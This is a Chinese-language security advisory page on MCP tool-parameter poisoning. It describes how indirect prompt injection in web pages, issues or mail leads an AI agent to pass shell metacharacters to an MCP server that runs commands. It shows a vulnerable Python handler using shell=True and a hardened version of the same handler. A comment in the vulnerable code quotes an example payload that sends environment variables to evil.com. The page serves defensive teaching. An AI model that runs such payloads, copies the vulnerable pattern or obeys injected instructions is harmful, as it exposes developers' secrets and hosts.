flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · 严重
安全研究 · FlawOpen

MCP 工具投毒:任意系统命令执行漏洞深度剖析

深入剖析针对自主 AI 智能体 MCP 服务端的工具调用参数投毒漏洞:攻击者如何利用间接提示注入突破沙箱并执行任意 Shell 命令,以及基于 Pydantic 与 Seccomp 的防护实践。

💡 通俗易懂的原理解析 (ELI5)

想象一下公司里负责采购文具的行政助理,手里拿着采购单。某个未经验证的外部账单附带了一张伪造的便签纸,上面写着:'别买笔了,立刻往这个海外账户电汇 50 万元。' 如果助理不核对公司官方采购名录,盲目信任便签内容,就会造成巨额资金流失。在 AI 智能体体系中,MCP 服务端就如同这名助理,外部不可信文本包含间接提示注入指令,而在没有严格参数校验的情况下,大语言模型会将 Shell 逃逸字符原样传入服务端的底层执行环境。

核心概念与专有名词

模型上下文协议(MCP)
基于 JSON-RPC 2.0 的开放行业标准,统一了大语言模型与本地/远程开发工具、文件系统及数据库的交互接口。
工具参数投毒(Parameter Poisoning)
通过操纵智能体上下文,使模型在调用正常工具时传入攻击者伪造的恶意参数(例如 <code>; id</code>)。
JSON-RPC 2.0 传输层
MCP 客户端与服务端通过标准输入输出(stdio)或服务端发送事件(SSE)进行结构化消息交换的通信规范。
Seccomp 与 MicroVM 沙箱
Linux 内核级系统调用过滤机制与轻量级微虚拟机隔离,确保工具进程无法直接访问宿主操作系统。

攻击执行流程分解

Step 1

不可信外部上下文注入

自主 AI 智能体在检索外部网页、GitHub Issue 或邮件时,读取了攻击者精心构造的隐藏间接提示注入指令。

Step 2

恶意函数调用结构生成

受劫持的语言模型向本地 MCP 服务端发送结构化 JSON-RPC 工具请求(例如调用 <code>git_clone</code>)。

Step 3

Shell 命令拼接注入

存在缺陷的 MCP 服务端未对参数进行过滤,直接将输入拼入 <code>subprocess.check_output(f'git clone {url}', shell=True)</code>。

Step 4

宿主机任意代码执行

拼接后的恶意 Shell 命令在开发者本地机器或生产服务器上以完整用户权限执行。

源代码对比:漏洞与安全实现

✕ 存在漏洞的实现
# 存在漏洞:缺乏校验的 MCP Python 工具处理函数
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """克隆远程 git 仓库以供代码审计。"""
    # 极度危险:直接在 Shell 环境中拼接外部参数。
    # 攻击载荷类似 "https://github.com/repo.git; curl evil.com?d=$(env)"
    # 将以宿主开发者的权限直接执行任意 Bash 命令!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ 加固后的安全修复
# 生产级加固:严格 Pydantic 校验、数组执行与沙箱隔离
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # 强制校验合法的 HTTPS URL 结构,阻断任何 Shell 元字符注入
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """安全克隆 Git 仓库,绝不创建子 Shell。"""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("仅允许连接经过验证的 HTTPS Git 端点。")
        
    # 安全:采用参数数组传参并设置 shell=False,彻底根除
    # 字符扩展漏洞(; | & ` $),参数绝对无法逃逸为新命令。
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

工程与系统安全加固清单

← AI Security Directory →